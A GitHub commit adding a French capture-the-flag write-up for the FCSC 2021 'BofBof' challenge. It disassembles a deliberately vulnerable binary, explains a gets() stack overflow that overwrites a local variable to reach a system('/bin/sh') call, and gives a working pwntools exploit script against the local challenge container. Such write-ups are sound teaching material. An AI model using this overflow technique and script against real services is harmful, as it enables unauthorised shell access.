Skip to content

Commit

Permalink
Add WU FCSC 2021 Bofbof (Tristan BALDIT)
Browse files Browse the repository at this point in the history
  • Loading branch information
TristanBALDIT authored and ctmbl committed Jun 3, 2024
1 parent bac1717 commit 4ef3076
Showing 1 changed file with 276 additions and 0 deletions.
276 changes: 276 additions & 0 deletions src/content/posts/FSCS-2021-Intro-Bofbof.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,276 @@
# Write Up : BofBof (intro FCSC 2021)

## Présentation du challenge

Le challenge contient :
`docker-compose.yml` : un fichier de configuration permettant d'accéder à un conteneur docker en local
`bofbof` : un executable ELF x64, dynamically linked & not stripped

L'objectif du challenge est d'accéder au fichier `flag.txt` présent sur le docker.
Le seul problème ? Le programme `bofbof` tourne déja sur le docker.

## Première approche : étude de `bofbof`

Commençons par lancer `bofbof` :

```
Comment est votre blanquette ?
>>>
```

Le programme demande une entrée utilisateur, rentrons `AAAAAA`.
Cela ferme tout simplement le programme ... la solution serait donc un stack buffer overflow ?

Regardons maintenant ce que donne `strings bofbof` :

```
/lib64/ld-linux-x86-64.so.2
gets
fflush
exit
puts
printf
stdout
system
__cxa_finalize
__libc_start_main
libc.so.6
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u/UH
AAAAAAAAH
AAAAAAAAH9E
wfUD3"
[]A\A]A^A_
/bin/sh
Comment est votre blanquette ?
>>>
Almost there!
;*3$"
GCC: (Debian 10.2.1-6) 10.2.1 20210110
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
bofbof.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
_ITM_deregisterTMCloneTable
stdout@GLIBC_2.2.5
puts@GLIBC_2.2.5
vuln
_edata
system@GLIBC_2.2.5
printf@GLIBC_2.2.5
__libc_start_main@GLIBC_2.2.5
__data_start
__gmon_start__
__dso_handle
_IO_stdin_used
gets@GLIBC_2.2.5
__libc_csu_init
fflush@GLIBC_2.2.5
__bss_start
main
exit@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment
```

On remarque plusieurs choses intéressantes, premièrement `bofbof` utilise la fonction `gets` : l'idée est donc bien
de faire un stack buffer overflow ! De plus on remarque la présence de `system` et de `vuln` : l'executable contient
une "faille" et semble capable d'accéder au système du conteneur et ainsi au `flag.txt`.

Essayons maintenant de lancer `bofbof` et cette fois de faire un buffer overflow :

```
Comment est votre blanquette ?
>>>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
zsh :segmentation fault ./bofbof
```
Ok trop grand, réessayons :

```
Comment est votre blanquette ?
>>>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Almost there!
```

D'accord donc le problème est plus fin qu'un overflow basique, passons aux choses sérieuses.

## Les choses sérieuses

Commençons par objdump, ce qui nous donne le disassembly de `vuln` et `main` de `bofbof` :

```
objdump -d bofbof
0000000000001185 <vuln>:
1185: 55 push %rbp
1186: 48 89 e5 mov %rsp,%rbp
1189: 48 8d 3d 78 0e 00 00 lea 0xe78(%rip),%rdi # 2008 <_IO_stdin_used+0x8>
1190: e8 ab fe ff ff call 1040 <system@plt>
1195: bf 01 00 00 00 mov $0x1,%edi
119a: e8 e1 fe ff ff call 1080 <exit@plt>
000000000000119f <main>:
119f: 55 push %rbp
11a0: 48 89 e5 mov %rsp,%rbp
11a3: 48 83 ec 30 sub $0x30,%rsp
11a7: 48 b8 41 41 41 41 41 movabs $0x4141414141414141,%rax
11ae: 41 41 41
11b1: 48 89 45 f8 mov %rax,-0x8(%rbp)
11b5: 48 8d 3d 54 0e 00 00 lea 0xe54(%rip),%rdi # 2010 <_IO_stdin_used+0x10>
11bc: b8 00 00 00 00 mov $0x0,%eax
11c1: e8 8a fe ff ff call 1050 <printf@plt>
11c6: 48 8b 05 8b 2e 00 00 mov 0x2e8b(%rip),%rax # 4058 <stdout@GLIBC_2.2.5>
11cd: 48 89 c7 mov %rax,%rdi
11d0: e8 9b fe ff ff call 1070 <fflush@plt>
11d5: 48 8d 45 d0 lea -0x30(%rbp),%rax
11d9: 48 89 c7 mov %rax,%rdi
11dc: b8 00 00 00 00 mov $0x0,%eax
11e1: e8 7a fe ff ff call 1060 <gets@plt>
11e6: 48 b8 41 41 41 41 41 movabs $0x4141414141414141,%rax
11ed: 41 41 41
11f0: 48 39 45 f8 cmp %rax,-0x8(%rbp)
11f4: 74 26 je 121c <main+0x7d>
11f6: 48 b8 88 77 66 55 44 movabs $0x1122334455667788,%rax
11fd: 33 22 11
1200: 48 39 45 f8 cmp %rax,-0x8(%rbp)
1204: 75 0a jne 1210 <main+0x71>
1206: b8 00 00 00 00 mov $0x0,%eax
120b: e8 75 ff ff ff call 1185 <vuln>
1210: 48 8d 3d 1d 0e 00 00 lea 0xe1d(%rip),%rdi # 2034 <_IO_stdin_used+0x34>
1217: e8 14 fe ff ff call 1030 <puts@plt>
121c: b8 00 00 00 00 mov $0x0,%eax
1221: c9 leave
1222: c3 ret
1223: 66 2e 0f 1f 84 00 00 cs nopw 0x0(%rax,%rax,1)
122a: 00 00 00
122d: 0f 1f 00 nopl (%rax)
```

Ici, c'est surtout le `main` qui nous va nous intéresser on remarque premièrement l'appel à `vuln` :


```
120b: e8 75 ff ff ff call 1185 <vuln>
```

Mais on remarque surtout deux blocs qui expliquent que `vuln` n'est pas appelé en temps normal :

```
11f0: 48 39 45 f8 cmp %rax,-0x8(%rbp)
11f4: 74 26 je 121c <main+0x7d>
.
.
.
1200: 48 39 45 f8 cmp %rax,-0x8(%rbp)
1204: 75 0a jne 1210 <main+0x71>
```

Ces deux blocs empêchent le `main` d'appeler `vuln` : deux comparaisons forcent le programme à sauter plus loin dans
le `main` et donc à skipper l'appel à `vuln`.

Le premier bloc fonctionne de la façon suivante : le programme effectue une comparaison entre `eax` et `-0x8(%rbp)`
(on reviendra plus tard sur cette valeur) et si les deux sont égaux alors le programme effectue le saut (`je` : jump if)
vers `<main+0x7d>`.

Le second compare là encore `eax` et `-0x8(%rbp)`et cette fois si les deux ne sont pas égaux alors le programme effectue
le saut (`jne` : jump if not) vers `<main+0x71>`.

Mais alors que vaut `eax` ? Deux lignes nous donne la réponse :

```
11e6: 48 b8 41 41 41 41 41 movabs $0x4141414141414141,%rax
.
.
.
11f6: 48 b8 88 77 66 55 44 movabs $0x1122334455667788,%rax
```

Ainsi lors de la première comparaison `eax` vaut `0x4141414141414141` (soit 'AAAAAAAA' en ASCII).
Lors de la seconde il vaut `0x1122334455667788`.

Maintenant tentons de comprendre ce que vaut `-0x8(%rbp)` pour cela lançons `gdb` et plaçons nous juste avant l'appel à
`gets` :

![](../data/wu3.png)
![](../data/wu.png)

On a donc la valeur actuelle de `-0x8(%rbp)` et c'est celle-ci qu'il va falloir changer, l'objectif est donc d'y écrire
`0x1122334455667788` pour que le programme ne prenne aucun des deux sauts.

Avançons donc d'une instruction pour voir où se trouve le buffer issu de `gets` :

![](../data/wu4.png)

On a donc l'emplacement du buffer dans la stack et surtout son emplacement relatif par rapport à `rbp` (différence de `0x38`).
Ainsi, il faut rentrer par exemple `"A"*40 + 0x1122334455667788` pour réécrire correctement `-0x8(%rbp)`.

Il suffit maintenant d'effectuer ceci sur le conteneur docker et pour cela, nous allons utiliser un script python.

## Le script

Voici `bofbof.py`

```python
from pwn import *

target = remote("localhost", 4000) ## connection au docker
print(target.recv())
padding = b"A"*40 ## construction de la réponse
payload = p64(0x1122334455667788)
print(padding+payload)
target.sendline(padding+payload) ## envoi de la réponse
target.interactive() ## laisse le terminal du docker ouvert
```

Lançons `bofbof.py` et regardons ce que cela donne :

![](../data/wu6.png)

On a donc réussi à accéder à un terminal et `cat flag.txt` permet d'accéder à `flag.txt`.

0 comments on commit 4ef3076

Please sign in to comment.